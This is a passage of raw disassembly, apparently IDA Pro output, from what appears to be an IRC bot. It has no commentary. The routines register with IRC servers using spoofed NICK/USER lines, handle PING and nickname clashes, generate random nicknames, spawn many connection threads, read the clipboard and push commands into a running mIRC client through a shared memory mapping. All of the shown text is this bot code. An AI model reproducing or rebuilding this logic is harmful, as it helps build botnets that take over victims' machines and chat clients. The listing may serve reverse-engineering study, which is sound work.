[ebp+arg_0] push offset dword_437B7C push 200h push edi call sub_41B980 add esp, 1Ch push [ebp+var_4] push 0 call esi push eax call near ptr 27B0000h nop mov eax, edi pop edi pop esi leave retn sub_417552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175E9 proc near ; CODE XREF: sub_416F1A:loc_417056p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4D4028 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 nop call near ptr 27C0939h push eax call near ptr 27C0000h nop and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_4D3610 mov edi, 200h mov esi, offset dword_4D2C10 loc_41762F: ; CODE XREF: sub_4175E9+FAj mov eax, dword_4D4028 add eax, eax push eax push dword_4D4030 push [ebp+var_14] call sub_41C310 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4D3E14 mov eax, dword_4D4028 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_4176A4 loc_41766C: ; CODE XREF: sub_4175E9+B3j cmp [ebp+var_8], 0 jz short loc_4176C1 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_417690 cmp byte ptr [ecx+1], 0 jnz short loc_417690 cmp dl, 20h jnb short loc_41768A and [ebp+var_8], 0 loc_41768A: ; CODE XREF: sub_4175E9+9Bj cmp [ebp+var_1], 7Eh jbe short loc_417694 loc_417690: ; CODE XREF: sub_4175E9+90j ; sub_4175E9+96j and [ebp+var_8], 0 loc_417694: ; CODE XREF: sub_4175E9+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_41766C cmp [ebp+var_8], 0 jz short loc_4176C1 loc_4176A4: ; CODE XREF: sub_4175E9+81j push [ebp+var_14] push offset dword_4D2E10 push ebx push [ebp+arg_0] push offset dword_437B7C push edi push esi call sub_41B980 add esp, 1Ch jmp short loc_4176D9 ; --------------------------------------------------------------------------- loc_4176C1: ; CODE XREF: sub_4175E9+87j ; sub_4175E9+B9j push offset dword_4D2E10 push ebx push [ebp+arg_0] push offset dword_437BCC push edi push esi call sub_41B980 add esp, 18h loc_4176D9: ; CODE XREF: sub_4175E9+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_41762F push [ebp+var_14] push 0 nop call near ptr 27C0939h push eax call near ptr 27B0000h nop mov eax, esi pop edi pop esi pop ebx leave retn sub_4175E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417702 proc near ; CODE XREF: sub_4178BA+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CB024 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_41777E push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CAFA4 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CAFE4 cmp eax, esi jnz short loc_417763 push [ebp+arg_0] call dword_4CB028 test eax, eax jz short loc_41777E mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_417763: ; CODE XREF: sub_417702+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CAF4C cmp eax, esi jnz short loc_417782 push edi call dword_4CB03C loc_41777E: ; CODE XREF: sub_417702+1Bj ; sub_417702+58j mov eax, esi jmp short loc_417784 ; --------------------------------------------------------------------------- loc_417782: ; CODE XREF: sub_417702+73j mov eax, edi loc_417784: ; CODE XREF: sub_417702+7Ej pop edi pop esi leave retn sub_417702 endp ; =============== S U B R O U T I N E ======================================= sub_417788 proc near ; CODE XREF: sub_401ACD+3294p ; sub_401ACD+3300p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_4299C8 ; "\n" push edi call sub_41BEC0 pop ecx mov esi, offset dword_4D403C pop ecx loc_4177A0: ; CODE XREF: sub_417788+42j cmp dword ptr [esi-4], 1 jnz short loc_4177BE cmp dword ptr [esi], 0 jbe short loc_4177BE push 0 push edi call sub_41AFE0 pop ecx push eax push edi push dword ptr [esi] call dword_4CAFF4 loc_4177BE: ; CODE XREF: sub_417788+1Cj ; sub_417788+21j add esi, 210h cmp esi, offset dword_4DA75C jl short loc_4177A0 pop edi pop esi retn sub_417788 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4177CF proc near ; CODE XREF: sub_4178BA+155p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42CA60 ; " " push edi push esi push [ebp+arg_0] call sub_41C0F4 pop ecx mov [ebp+var_20], eax pop ecx lea edi, [ebp+var_1C] push 7 pop ebx loc_4177F4: ; CODE XREF: sub_4177CF+35j push esi push 0 call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec ebx pop ecx jnz short loc_4177F4 mov esi, [ebp+var_1C] xor edi, edi cmp [ebp+var_20], edi jnz short loc_41781C cmp esi, edi jnz short loc_41781C push 1 pop eax jmp loc_4178B5 ; --------------------------------------------------------------------------- loc_41781C: ; CODE XREF: sub_4177CF+3Fj ; sub_4177CF+43j push [ebp+var_20] push offset aPing ; "PING" call sub_41C070 pop ecx pop ecx test eax, eax push esi jnz short loc_417837 push offset dword_4387E4 jmp short loc_417885 ; --------------------------------------------------------------------------- loc_417837: ; CODE XREF: sub_4177CF+5Fj push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_417858 push esi push offset dword_4387E0 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4178B3 loc_417858: ; CODE XREF: sub_4177CF+76j push 200h lea eax, [ebp+var_420] push edi push eax call sub_41B590 lea eax, [ebp+var_420] push eax call sub_417ADD add esp, 10h lea eax, [ebp+var_420] push eax push offset dword_4387D4 loc_417885: ; CODE XREF: sub_4177CF+66j lea eax, [ebp+var_220] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_220] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_4CAFF4 loc_4178B3: ; CODE XREF: sub_4177CF+87j xor eax, eax loc_4178B5: ; CODE XREF: sub_4177CF+48j pop edi pop esi pop ebx leave retn sub_4177CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178BA proc near ; DATA XREF: sub_417A5F+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41BB20 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4D4044[esi] mov dword_4D4038[esi], edi push dword_4D4244[esi] push eax call sub_417702 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4D403C[esi], eax jb loc_417A3F mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41B590 lea eax, [ebp+var_2008] push eax call sub_417ADD lea eax, [ebp+var_4008] push eax call sub_417ADD lea eax, [ebp+var_3008] push eax call sub_417ADD add esp, 18h lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_1008] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_4D403C[esi] call dword_4CAFF4 push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch loc_417996: ; CODE XREF: sub_4178BA+111j ; sub_4178BA+180j push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_4D403C[esi] call dword_4CAFBC cmp eax, ebx mov [ebp+var_8], eax jle short loc_417A3F xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_417996 loc_4179CD: ; CODE XREF: sub_4178BA+17Ej mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_4179F4 cmp al, 0Ah jz short loc_4179F4 cmp [ebp+arg_0], 0FA0h jz short loc_4179F4 mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_417A2E ; --------------------------------------------------------------------------- loc_4179F4: ; CODE XREF: sub_4178BA+11Cj ; sub_4178BA+120j ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417A2E push dword_4D403C[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_4177CF pop ecx test eax, eax pop ecx ja short loc_417A3F push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+arg_0], ebx loc_417A2E: ; CODE XREF: sub_4178BA+138j ; sub_4178BA+13Fj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_4179CD jmp loc_417996 ; --------------------------------------------------------------------------- loc_417A3F: ; CODE XREF: sub_4178BA+40j ; sub_4178BA+107j ... mov dword_4D4038[esi], ebx mov esi, dword_4D403C[esi] cmp esi, ebx jbe short loc_417A56 push esi call dword_4CB03C loc_417A56: ; CODE XREF: sub_4178BA+193j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_4178BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417A5F proc near ; CODE XREF: sub_401ACD+31E1p var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_417AD8 loc_417A71: ; CODE XREF: sub_417A5F+77j xor edi, edi mov eax, offset dword_4D4038 loc_417A78: ; CODE XREF: sub_417A5F+28j cmp [eax], ebx jz short loc_417A89 add eax, 210h inc edi cmp eax, offset dword_4DA758 jl short loc_417A78 loc_417A89: ; CODE XREF: sub_417A5F+1Bj cmp edi, 31h jz short loc_417AD8 mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4D4044[esi] push eax call sub_41BEB0 mov eax, [ebp+arg_4] pop ecx mov dword_4D4244[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4D4038[esi], 1 push eax push ebx push edi push offset sub_4178BA push ebx push ebx call near ptr 2680000h nop inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417A71 loc_417AD8: ; CODE XREF: sub_417A5F+10j ; sub_417A5F+2Dj pop edi pop esi pop ebx leave retn sub_417A5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417ADD proc near ; CODE XREF: sub_401ACD+374Dp ; sub_401ACD+3793p ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 add esp, 0Ch call sub_41B8E2 mov [ebp+var_C], eax fild [ebp+var_C] fmul dbl_4276F8 call sub_41C798 cmp eax, 1 jnz short loc_417B27 call sub_41B8E2 call sub_41B8E2 push 66h cdq pop ecx idiv ecx push off_437F20[edx*4] jmp short loc_417B40 ; --------------------------------------------------------------------------- loc_417B27: ; CODE XREF: sub_417ADD+2Fj call sub_41B8E2 call sub_41B8E2 cdq mov ecx, 0C0h idiv ecx push off_437C20[edx*4] loc_417B40: ; CODE XREF: sub_417ADD+48j lea eax, [ebp+var_2C] push eax call sub_41BEB0 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41AFE0 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+var_C], eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 call sub_41C798 mov ebx, eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41C798 cmp esi, 2 mov edi, offset a__0 ; "-|`_\\{[]}" jle short loc_417BB3 cmp esi, 3 jnz short loc_417BAA cmp ebx, 1 jz short loc_417BB3 loc_417BAA: ; CODE XREF: sub_417ADD+C6j cmp eax, 1 jnz loc_417C6D loc_417BB3: ; CODE XREF: sub_417ADD+C1j ; sub_417ADD+CBj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276E0 call sub_41C798 push off_437F20[eax*4] lea eax, [ebp+var_40] push eax call sub_41BEB0 movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax push edi call sub_41BFB0 add esp, 10h test eax, eax jnz short loc_417C5A movsx eax, [ebp+var_40] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_417C5A call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41C798 cmp eax, 1 jnz short loc_417C5A push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al loc_417C5A: ; CODE XREF: sub_417ADD+111j ; sub_417ADD+122j ... push [ebp+var_C] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41C1E0 add esp, 0Ch loc_417C6D: ; CODE XREF: sub_417ADD+D0j lea eax, [ebp+var_2C] push eax call sub_41AFE0 mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax mov [ebp+var_4], esi call sub_41D648 pop ecx test eax, eax pop ecx jnz loc_417ED5 and [ebp+var_C], eax movsx eax, byte ptr [ebx-1] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz loc_417DCC call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41C798 cmp esi, 3 jz short loc_417CDB cmp eax, 1 jnz loc_417DCC loc_417CDB: ; CODE XREF: sub_417ADD+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_417D1D push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_417D39 ; --------------------------------------------------------------------------- loc_417D1D: ; CODE XREF: sub_417ADD+207j call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h sub cl, al mov [ebx], cl loc_417D39: ; CODE XREF: sub_417ADD+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+var_C], ebx call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41C798 cmp esi, 3 jz short loc_417D62 cmp eax, ebx jnz short loc_417DCC loc_417D62: ; CODE XREF: sub_417ADD+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_417DA7 push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_417DC5 ; --------------------------------------------------------------------------- loc_417DA7: ; CODE XREF: sub_417ADD+28Fj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_417DC5: ; CODE XREF: sub_417ADD+2C8j inc esi mov [ebp+var_C], ebx mov [ebp+var_4], esi loc_417DCC: ; CODE XREF: sub_417ADD+1C9j ; sub_417ADD+1F8j ... cmp esi, 6 jge loc_417E55 cmp esi, 5 jge short loc_417DED call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 jmp short loc_417E0B ; --------------------------------------------------------------------------- loc_417DED: ; CODE XREF: sub_417ADD+2FBj call sub_41B8E2 push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 loc_417E0B: ; CODE XREF: sub_417ADD+30Ej call sub_41C798 test eax, eax jnz short loc_417E2E call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 mov cl, 30h jmp short loc_417E4B ; --------------------------------------------------------------------------- loc_417E2E: ; CODE XREF: sub_417ADD+335j cmp eax, 1 jnz short loc_417E55 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h loc_417E4B: ; CODE XREF: sub_417ADD+34Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_417E55: ; CODE XREF: sub_417ADD+2F2j ; sub_417ADD+354j cmp [ebp+var_C], 2 jge short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41C798 cmp eax, 1 jnz short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41C798 cmp eax, 1 jnz short loc_417ED5 cmp [ebp+var_C], eax jge short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_417ED5: ; CODE XREF: sub_417ADD+1B1j ; sub_417ADD+37Cj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41B5F0 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417EEE proc near ; CODE XREF: sub_401ACD+BEBp ; sub_401ACD+C28p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_417F79 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_417F79 cmp [ebp+arg_8], esi jz short loc_417F79 cmp byte ptr [eax], 0 jz short loc_417F79 push ebx push edi call sub_426464 mov ebx, eax pop ecx test ebx, ebx jz short loc_417F74 push [ebp+arg_4] push edi call sub_41B900 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_417F6D sub eax, edi push eax push edi push ebx call sub_41B5F0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41AFE0 push eax push [ebp+arg_8] push ebx call sub_41C1E0 push [ebp+arg_4] call sub_41AFE0 add eax, esi push eax push ebx call sub_41BEC0 push ebx push edi call sub_41BEB0 add esp, 30h mov esi, edi loc_417F6D: ; CODE XREF: sub_417EEE+3Cj push ebx call sub_41B0B1 pop ecx loc_417F74: ; CODE XREF: sub_417EEE+2Bj mov eax, esi pop ebx jmp short loc_417F7B ; --------------------------------------------------------------------------- loc_417F79: ; CODE XREF: sub_417EEE+Cj ; sub_417EEE+13j ... xor eax, eax loc_417F7B: ; CODE XREF: sub_417EEE+89j pop edi pop esi pop ebp retn sub_417EEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F7F proc near ; CODE XREF: sub_401955+E9p ; ___:004102F0p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_41B590 mov esi, [ebp+arg_0] push esi call sub_41AFE0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_417FB5 or eax, 0FFFFFFFFh jmp short loc_418028 ; --------------------------------------------------------------------------- loc_417FB5: ; CODE XREF: sub_417F7F+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_417FD7 loc_417FC1: ; CODE XREF: sub_417F7F+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_417FCE cmp dl, 0Dh jnz short loc_417FD2 loc_417FCE: ; CODE XREF: sub_417F7F+48j and byte ptr [ecx+esi], 0 loc_417FD2: ; CODE XREF: sub_417F7F+4Dj inc ecx cmp ecx, eax jl short loc_417FC1 loc_417FD7: ; CODE XREF: sub_417F7F+40j xor edx, edx push edi test eax, eax jle short loc_418008 lea edi, [ebp+var_7CC] loc_417FE4: ; CODE XREF: sub_417F7F+87j cmp byte ptr [edx+esi], 0 jnz short loc_418003 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_418003 cmp ebx, 1F4h jge short loc_418008 mov [edi], ecx inc ebx add edi, 4 loc_418003: ; CODE XREF: sub_417F7F+69j ; sub_417F7F+74j inc edx cmp edx, eax jl short loc_417FE4 loc_418008: ; CODE XREF: sub_417F7F+5Dj ; sub_417F7F+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_418026 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_41C310 add esp, 0Ch loc_418026: ; CODE XREF: sub_417F7F+8Ej mov eax, ebx loc_418028: ; CODE XREF: sub_417F7F+34j pop esi pop ebx leave retn sub_417F7F endp ; =============== S U B R O U T I N E ======================================= sub_41802C proc near ; CODE XREF: sub_418086+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_418065 push ebx mov ebx, edi loc_418049: ; CODE XREF: sub_41802C+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_418068 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_418049 pop ebx loc_418065: ; CODE XREF: sub_41802C+18j pop edi pop esi retn sub_41802C endp ; =============== S U B R O U T I N E ======================================= sub_418068 proc near ; CODE XREF: sub_41802C+25p ; sub_418086+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41D74C cmp al, 61h pop ecx jl short loc_418083 cmp al, 7Ah jg short loc_418083 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_418083: ; CODE XREF: sub_418068+Ej ; sub_418068+12j xor eax, eax retn sub_418068 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418086 proc near ; CODE XREF: ___:0041532Dp var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41BB20 push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41AFE0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_41802C add esp, 14h dec esi mov edi, esi loc_4180C4: ; CODE XREF: sub_418086+B6j test esi, esi jle short loc_418142 mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41D74C pop ecx cmp eax, ebx pop ecx jz short loc_41813A loc_4180EA: ; CODE XREF: sub_418086+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_418068 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_41810B mov eax, ecx loc_41810B: ; CODE XREF: sub_418086+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_41813E mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_41D74C pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_4180EA loc_41813A: ; CODE XREF: sub_418086+62j dec edi dec esi jmp short loc_4180C4 ; --------------------------------------------------------------------------- loc_41813E: ; CODE XREF: sub_418086+8Aj xor eax, eax jmp short loc_418147 ; --------------------------------------------------------------------------- loc_418142: ; CODE XREF: sub_418086+40j mov eax, [ebp+arg_0] add eax, edi loc_418147: ; CODE XREF: sub_418086+BAj pop edi pop esi pop ebx leave retn sub_418086 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41814C proc near ; CODE XREF: sub_401ACD+67A3p ; sub_401ACD+789Ep var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi nop call near ptr 2680930h mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h nop call near ptr 27E0000h lea eax, [ebp+var_100] loc_418185: ; CODE XREF: sub_41814C+46j mov cl, [eax] cmp cl, 1Fh jg short loc_418191 cmp cl, 9 jnz short loc_418194 loc_418191: ; CODE XREF: sub_41814C+3Ej inc eax jmp short loc_418185 ; --------------------------------------------------------------------------- loc_418194: ; CODE XREF: sub_41814C+43j ; sub_41814C+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_4181AE mov cl, [eax] cmp cl, 2Eh jz short loc_418194 cmp cl, 21h jl short loc_418194 loc_4181AE: ; CODE XREF: sub_41814C+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4DA75C push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41B980 add esp, 18h mov eax, esi pop esi leave retn sub_41814C endp ; =============== S U B R O U T I N E ======================================= sub_4181D6 proc near ; CODE XREF: sub_401ACD+24CAp push esi push 0 call dword_4CAF74 test eax, eax jz short loc_41820D push 1 call dword_4CAF94 mov esi, eax test esi, esi jz short loc_41820D push edi push esi call near ptr 27F067Ah nop push esi mov edi, eax call near ptr 27F0000h nop call dword_4CAFF8 mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41820D: ; CODE XREF: sub_4181D6+Bj ; sub_4181D6+19j xor eax, eax pop esi retn sub_4181D6 endp ; =============== S U B R O U T I N E ======================================= sub_418211 proc near ; CODE XREF: sub_401ACD+7661p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4CAFB0 mov ebp, eax cmp ebp, esi jz short loc_41828D push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call near ptr 2800194h nop push esi push esi mov edi, eax push esi push 0F001Fh push edi nop call near ptr 2800000h push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41B886 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4CB000 push esi push 1 push 4C9h push ebp call dword_4CB000 push ebx nop call near ptr 27F0BCFh push edi call near ptr 26619D4h nop push 1 pop eax pop ebx jmp short loc_41828F ; --------------------------------------------------------------------------- loc_41828D: ; CODE XREF: sub_418211+16j xor eax, eax loc_41828F: ; CODE XREF: sub_418211+7Aj pop edi pop esi pop ebp retn sub_418211 endp ; =============== S U B R O U 